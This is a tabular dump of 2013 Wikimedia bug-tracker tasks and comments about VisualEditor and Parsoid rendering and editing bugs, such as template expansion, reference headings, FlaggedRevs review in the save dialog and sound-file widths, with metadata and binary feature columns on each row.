+247180,VisualEditor: Template inspector removing characters from header,This is an artefact of a Parsoid serialisation bug that has now been fixed.,,,1371657198,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ukps7g4li7inap7lxq46,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0
+247175,VisualEditor: Template inspector removing characters from header,"Screenshot
+
+**Attached**: {F11626}",,,1371533000,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-ukps7g4li7inap7lxq46,task_subcomment,,True,c1,2,False,,,-2,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+51715,VisualEditor: Prevent headings in reference sub-editor dialogs,"**Author:** `rachelqa99`
+
+**Description:**
+Make a reference, then type text into Name content, and change format to Heading 5 or Heading 3.  When you save the file, you see the wikitext displayed for the heading format. 
+
+See page: https://www.mediawiki.org/wiki/User:Rachel99/testing_edit_source
+
+On the bottom of the page, it looks like that.
+
+    ↑ ===test===
+    ↑ =====Book reference=====
+    ↑ ===footnote text===
+    ↑ =====test5=====
+
+--------------------------
+**Version**: unspecified
+**Severity**: major",High,80.0,1371500340,1371845722.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-563eb2ikcrhdth26zmqs,task_description,resolved,True,c1,2,False,False,True,-2,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,1
+245955,VisualEditor: Prevent headings in reference sub-editor dialogs,Merged and will be deployed very soon.,,,1371845722,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-563eb2ikcrhdth26zmqs,task_subcomment,,True,c1,2,True,,,-2,,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+245947,VisualEditor: Prevent headings in reference sub-editor dialogs,Related URL: https://gerrit.wikimedia.org/r/69867 (Gerrit Change Ic823a90398dafca1caf8fa4142d98133ab661d7c),,,1371828262,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-563eb2ikcrhdth26zmqs,task_subcomment,,True,c1,2,False,,,-2,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+245944,VisualEditor: Prevent headings in reference sub-editor dialogs,"Yes, this is a definite issue - there's a wider bug about the technical functionality, bug 49657, but this is a specific example we need to do (and so soon).",,,1371506764,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-563eb2ikcrhdth26zmqs,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,0,0,1,1,0,0,0,0,1,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,1,0,0,1,0,0
+51703,VisualEditor link to Parsoid broken in beta labs deployment?,"on beta labs only, not seen in mediawiki.org: 
+
+On any article e.g. http://en.wikipedia.beta.wmflabs.org/wiki/0.0924627428112147 
+
+Click Edit to invoke VE
+
+Page content is a different article.  In the case of http://en.wikipedia.beta.wmflabs.org/wiki/0.0924627428112147 I see the content for an article on ""TAT-1""
+
+--------------------------
+**Version**: unspecified
+**Severity**: major
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=49963",High,80.0,1371486720,1372390935.0,PHID-USER-kqibbfgfpgocyzwe32lv,False,,False,PHID-TASK-3dm4nj4f3hmvkgyfm7k2,task_description,resolved,True,c1,2,False,False,True,-2,,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,0,1,0,0,0,0,1
+245167,VisualEditor link to Parsoid broken in beta labs deployment?,This was fixed yesterday by Roan.,,,1372390935,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-3dm4nj4f3hmvkgyfm7k2,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+245164,VisualEditor link to Parsoid broken in beta labs deployment?,Related URL: https://gerrit.wikimedia.org/r/70582 (Gerrit Change Iacc9e88ec83e9037abe9ace53deccafcf68a6bbb),,,1372215640,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-3dm4nj4f3hmvkgyfm7k2,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+245161,VisualEditor link to Parsoid broken in beta labs deployment?,"This is my fault, I broke this in https://gerrit.wikimedia.org/r/#/c/68133/ . We should revert that change and figure out a way to keep deployment-parsoid2 up-to-date.",,,1372215604,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-3dm4nj4f3hmvkgyfm7k2,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,1,0,1,0,0,0,0,0
+245158,VisualEditor link to Parsoid broken in beta labs deployment?,"Created attachment 12594
+modal upon review or save
+
+**Attached**: {F11548}",,,1371760280,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-3dm4nj4f3hmvkgyfm7k2,task_subcomment,,True,c1,2,False,,,-2,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+245155,VisualEditor link to Parsoid broken in beta labs deployment?,"This still happens after upgrading VE to the latest version, with error saying ""invalid token"", see screen shot",,,1371760230,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-3dm4nj4f3hmvkgyfm7k2,task_subcomment,,True,c1,2,False,,,-2,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,0,1,0
+51699,"VisualEditor: Add FlaggedRevs ""accept pending revisions"" to save dialog","Alongside the ""minor"" and ""watch"" checkboxes in the save dialog, for pages with FlaggedRevs switched on and outstanding unaccepted revisions, add a checkbox to ""accept pending revisions"".
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=50852",High,80.0,1371485400,1374649658.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-tyh6rgmh65nrcg5ssati,task_description,resolved,True,c1,2,True,False,True,-2,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,1,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,1,0,1,0,1,0,0,0
+245024,"VisualEditor: Add FlaggedRevs ""accept pending revisions"" to save dialog",Merged and will get deployed in a few hours' time.,,,1374649658,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-tyh6rgmh65nrcg5ssati,task_subcomment,,True,c1,3,True,,,3,,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0
+245021,"VisualEditor: Add FlaggedRevs ""accept pending revisions"" to save dialog","Change 75555 merged by jenkins-bot:
+Render check boxes from EditPage
+
+https://gerrit.wikimedia.org/r/75555",,,1374649652,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-tyh6rgmh65nrcg5ssati,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+245017,"VisualEditor: Add FlaggedRevs ""accept pending revisions"" to save dialog","Change 75555 had a related patch set uploaded by Catrope:
+Render check boxes from EditPage
+
+https://gerrit.wikimedia.org/r/75555",,,1374648415,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-tyh6rgmh65nrcg5ssati,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+245013,"VisualEditor: Add FlaggedRevs ""accept pending revisions"" to save dialog",*** Bug 51833 has been marked as a duplicate of this bug. ***,,,1374645680,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-tyh6rgmh65nrcg5ssati,task_subcomment,,True,c1,3,True,,,3,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+245007,"VisualEditor: Add FlaggedRevs ""accept pending revisions"" to save dialog","(In reply to comment #6)
+> I note this has been posted as an enhancement; however, as flagged revisions
+> are applied to *all* pages in article space on certain Wikipedias (de and ru
+> in particular) I'd urge that this be resolved prior to introducing VisualEditor
+> to those projects. For them, the absence of this would be more than the minor
+> inconvenience it is on English Wikipedia, where PC is applied to a very small
+> number of pages and could be switched to semi-protection if really needed.
+
+Absolutely.",,,1374081153,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-tyh6rgmh65nrcg5ssati,task_subcomment,,True,c1,3,True,,,2,,1,0,1,1,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,1,1,1,0,0,0,1,1,0,1,0,1,0,1,0,0,1,1,1,1,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,1,1,0,1
+245001,"VisualEditor: Add FlaggedRevs ""accept pending revisions"" to save dialog","(In reply to comment #0)
+> Alongside the ""minor"" and ""watch"" checkboxes in the save dialog, for pages
+> with
+> FlaggedRevs switched on and outstanding unaccepted revisions, add a checkbox
+> to
+> ""accept pending revisions"".
+
+I note this has been posted as an enhancement; however, as flagged revisions are applied to *all* pages in article space on certain Wikipedias (de and ru in particular) I'd urge that this be resolved prior to introducing VisualEditor to those projects.  For them, the absence of this would be more than the minor inconvenience it is on English Wikipedia, where PC is applied to a very small number of pages and could be switched to semi-protection if really needed.",,,1374080923,,PHID-USER-yif6nz5uhka5cnltixpc,True,,,PHID-TASK-tyh6rgmh65nrcg5ssati,task_subcomment,,True,c1,3,False,,,2,,1,0,1,1,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,1,1,0,1,1,1,1,0,0,0,1,1,0,1,0,1,0,1,0,0,1,1,1,1,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,1,0,1
+244995,"VisualEditor: Add FlaggedRevs ""accept pending revisions"" to save dialog","(In reply to comment #4)
+> (In reply to comment #2)
+> > Just as an addition to this: I'm not sure if just the checkbox is what is
+> > needed. The current work flow has a whole separate page because we need to
+> > show the diff involved for the review. I imagine that can be done without
+> > going to a new page but either way they should be able to review the diff
+> > (and preferably leave a comment like you can in the review page now) before
+> > checking any kind of approve box since they become somewhat responsible for
+> > those edits.
+> 
+> Yes, indeed; I was imagining:
+> 
+> * on load, an alert in the edit notices saying ""You will need to accept the
+> outstanding changes before saving"" (or whatever the current message is) -
+> possibly with a link to the below?
+> * on entering the save dialog, the save button will be disabled with another
+> copy of the ""You will need to accept the outstanding changes before saving""
+> text (in the same place as the edit conflict / CAPTCHA / DOM corruption
+> warnings)
+> * in the line of buttons (""Save page"", ""Review your changes"") there should
+> be a
+> third button, ""Review outstanding changes"", which on click pops up the diff
+> of
+> outstanding changes, with a text box for the optional review comment and an
+> ""accept these changes"" button that takes you back to the save dialog, now
+> with
+> the save button enabled.
+> 
+> Feels a little clunky, though - perhaps we could make the process in-line
+> with
+> the edit summary message?
+
+Since this is going to need to be fully in javascript for VisualEditor, and the interface for this in FlaggedRevisions is already mostly in javascript (a small bit is done server-side through EditPage hooks), I recommend we not duplicate all of this logic and API handling for:
+* ""advertise you are reviewing this""
+* API handling ""leave comments""
+ ""get the diff against the latest stable version""
+* ""mark as reviewed"" 
+* etc.
+
+And instead depend on the logic being in FlaggedRevisions in a re-usable way that we can just call from within VisualEditor.
+
+Ideally they would also make their styling more pretty so that we can actually re-use it. Alternatively they'll have to make the logic re-usable separate from the UI as the current UI is not going to fit in (not just visually foreign to VisualEditor or usable interfaces in general, but also technically due to the DOM structure and layout properties).",,,1374008109,,PHID-USER-sai77mtxmpqnm6pycyvz,True,,,PHID-TASK-tyh6rgmh65nrcg5ssati,task_subcomment,,True,c1,3,True,,,2,,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,0,1,1,1,0,1,1,0,1,1,1,1,1,1,1,1,1,0,1,1,1,0,1,1,1,0,1,1,1,0,1,1,1,0,1,1,1,0,1,1,0,1,1,0,1,1,1,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,1,0,1,0,1,1,0,1,1,1,1
+244987,"VisualEditor: Add FlaggedRevs ""accept pending revisions"" to save dialog","(In reply to comment #2)
+> Just as an addition to this: I'm not sure if just the checkbox is what is
+> needed. The current work flow has a whole separate page because we need to
+> show the diff involved for the review. I imagine that can be done without
+> going to a new page but either way they should be able to review the diff
+> (and preferably leave a comment like you can in the review page now) before
+> checking any kind of approve box since they become somewhat responsible for
+> those edits.
+
+Yes, indeed; I was imagining:
+
+* on load, an alert in the edit notices saying ""You will need to accept the outstanding changes before saving"" (or whatever the current message is) - possibly with a link to the below?
+* on entering the save dialog, the save button will be disabled with another copy of the ""You will need to accept the outstanding changes before saving"" text (in the same place as the edit conflict / CAPTCHA / DOM corruption warnings)
+* in the line of buttons (""Save page"", ""Review your changes"") there should be a third button, ""Review outstanding changes"", which on click pops up the diff of outstanding changes, with a text box for the optional review comment and an ""accept these changes"" button that takes you back to the save dialog, now with the save button enabled.
+
+Feels a little clunky, though - perhaps we could make the process in-line with the edit summary message?",,,1373149022,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-tyh6rgmh65nrcg5ssati,task_subcomment,,True,c1,3,True,,,0,,1,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,0,1,1,1,0,1,0,0,1,1,1,1,1,1,0,1,1,0,1,1,0,0,1,1,1,0,1,0,1,0,1,1,1,0,1,1,1,0,1,1,0,1,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,1,0,1,0,1,1,0,1,0,0,1
+244977,"VisualEditor: Add FlaggedRevs ""accept pending revisions"" to save dialog","(In reply to comment #0)
+> Alongside the ""minor"" and ""watch"" checkboxes in the save dialog, for pages
+> with
+> FlaggedRevs switched on and outstanding unaccepted revisions, add a checkbox
+> to
+> ""accept pending revisions"".
+
+I don't find that an acceptable solution, because there is a requirement that reviewers actually review the edit they are accepting; they cannot do that if they're just ticking a box.  
+
+See https://commons.wikimedia.org/wiki/File:Cropped_edit_source_admin_edit_with_existing_PC.png for what the screen looks like using Edit Source.  Note that the diff includes ALL unreviewed changes.",,,1373148387,,PHID-USER-yif6nz5uhka5cnltixpc,True,,,PHID-TASK-tyh6rgmh65nrcg5ssati,task_subcomment,,True,c1,3,False,,,0,,1,0,0,0,1,1,1,1,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,1,1,0,0,1,1,0,1,0,0,0,1,0,0,1,0,1,0,0,1,0,1,1,0,1,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,1
+244968,"VisualEditor: Add FlaggedRevs ""accept pending revisions"" to save dialog",Just as an addition to this: I'm not sure if just the checkbox is what is needed. The current work flow has a whole separate page because we need to show the diff involved for the review. I imagine that can be done without going to a new page but either way they should be able to review the diff (and preferably leave a comment like you can in the review page now) before checking any kind of approve box since they become somewhat responsible for those edits.,,,1373147476,,PHID-USER-f6l3bchko2ogbi4poj24,True,,,PHID-TASK-tyh6rgmh65nrcg5ssati,task_subcomment,,True,c1,3,False,,,0,,1,0,0,1,1,1,1,1,0,1,1,1,0,1,0,1,0,1,1,0,1,1,1,0,0,0,0,0,1,0,0,1,1,0,1,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,1,1,0,1,1,1,0,1,1,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0
+244959,"VisualEditor: Add FlaggedRevs ""accept pending revisions"" to save dialog",*** Bug 50852 has been marked as a duplicate of this bug. ***,,,1373145699,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-tyh6rgmh65nrcg5ssati,task_subcomment,,True,c1,3,True,,,0,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+51690,VisualEditor: Templates (incorrectly) expanded,"https://en.wikipedia.org/wiki/Template:Contradictory, on https://en.wikipedia.org/wiki/Necessity - in the VisualEditor it displays as [<span title=""This text contradicts text in the article ""Necessity in English law"" (3 May 2011)"">contradictory]. Reproduced in Chrome 27/Safari 6.0.5 on a Mac, Firefox 21.0 on Windows 7.
+
+--------------------------
+**Version**: unspecified
+**Severity**: major",High,80.0,1371469920,1371596252.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-nbmggedatdejjopgumhd,task_description,resolved,True,c1,2,False,False,True,-2,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,1,1,1,0,1,0,1,1,0,1,0,0,0,0,0
+244483,VisualEditor: Templates (incorrectly) expanded,"I changed the Contradict-inline template and that fixes this problem.
+
+https://en.wikipedia.org/w/index.php?title=Template%3AContradict-inline&diff=560522227&oldid=471439681",,,1371596252,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-nbmggedatdejjopgumhd,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0
+244480,VisualEditor: Templates (incorrectly) expanded,"This amounts to accepting <span title=""""foo"""">bar</span> as a valid span-tag. Ugh! The PHP parser seems to accept this quite fine.  Parsoid would have to perform the same magic.
+
+See http://en.wikipedia.org/w/index.php?title=Wikipedia:Sandbox&oldid=560521020
+
+Hover over the two foos and see the difference. PHP parser drops the title attribute 'bar' on the first foo since it is ofcourse a bug.
+
+Seems like a reasonable fix the Fix templat -- but I assume Fix is used in a lot of places and fixing the callers would be a lot of work ... so, we may need some ugly hack in Parsoid to support this.",,,1371595653,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-nbmggedatdejjopgumhd,task_subcomment,,True,c1,2,True,,,-2,,1,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,1,0,0,0,0,0,1,1,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,1,0,1,1,0,1,0,1,0,0,1
+244475,VisualEditor: Templates (incorrectly) expanded,"Reduced test case: {{Fix|text=foo|title=""bar""}}
+
+It is the quotes around ""baz"" that trips up Parsoid (probably the tokenizer).  Investigating more.",,,1371595194,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-nbmggedatdejjopgumhd,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,0,1,0,1,0,0,1,1,0,1
+244469,VisualEditor: Templates (incorrectly) expanded,This is actually [[Template:Contradict-inline]] that appears broken in Parsoid - see http://parsoid.wmflabs.org/en/Template:Contradict-inline - shunting over.,,,1371513710,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-nbmggedatdejjopgumhd,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,0,0,1,0,0,1
+51689,"Parsoid provides 200px-width default for sound files, rather than the sound icon at standard size","See https://en.wikipedia.org/wiki/Hermann_M%C3%BCller_%28politician%29 for example; found in Chrome 27 on a Mac. In Safari 6.0.5 it displays differently (a large space appears, rather than a missing icon signifier) but is still broken. Not replicatable in Firefox 21.0/Windows 7.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**URL**: http://parsoid.wmflabs.org/en/Hermann%20M%C3%BCller%20(politician)",High,80.0,1371469740,1489187347.0,PHID-USER-j5ma2nageni56xp567v5,False,PHID-USER-gxcjmjpejlhfnrquksm2,False,PHID-TASK-d53fjwjfjlwbqoq4e52t,task_description,duplicate,True,c1,2,False,False,False,-2,,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,0
+244434,"Parsoid provides 200px-width default for sound files, rather than the sound icon at standard size","The original bug was rendering of [[:Media:Hermann Müller.ogg]].
+
+The rendering of [[File:Hermann Müller.ogg]]/[[File:La_Marseillaise.ogg]] is a different problem, as that renders as a player in source editor.  There are some underlying problems in Parsiod and even the mw API if I am understanding bug 49896 correctly.",,,1374915779,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-d53fjwjfjlwbqoq4e52t,task_subcomment,,True,c1,3,False,,,3,,1,0,0,0,0,1,1,0,0,1,1,0,0,0,1,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,1
+244427,"Parsoid provides 200px-width default for sound files, rather than the sound icon at standard size","Seems to me, this is still buggy !
+
+Have tried the following code at http://parsoid.wmflabs.org/_rtform/:
+[[File:La_Marseillaise.ogg]]
+
+This gives:
+<img resource=""./File:La_Marseillaise.ogg"" src=""//upload.wikimedia.org/wikipedia/commons/3/30/La_Marseillaise.ogg"" data-parsoid=""{&quot;a&quot;:{&quot;resource&quot;:&quot;./File:La_Marseillaise.ogg&quot;},&quot;sa&quot;:{&quot;resource&quot;:&quot;File:La_Marseillaise.ogg&quot;}}"" width=""200"">",,,1373452147,,PHID-USER-nwa6c3hm5nmv7ixrih4p,False,,,PHID-TASK-d53fjwjfjlwbqoq4e52t,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,1,0,0,0,0,0,1,1,1,0,1,0,1,1,0,0,1,1,0,0,1
+244419,"Parsoid provides 200px-width default for sound files, rather than the sound icon at standard size",[Parsoid component reorg by merging JS/General and General. See bug 50685 for more information. Filter bugmail on this comment. parsoidreorg20130704],,,1372934039,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-d53fjwjfjlwbqoq4e52t,task_subcomment,,True,c1,3,True,,,0,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,1,0,1
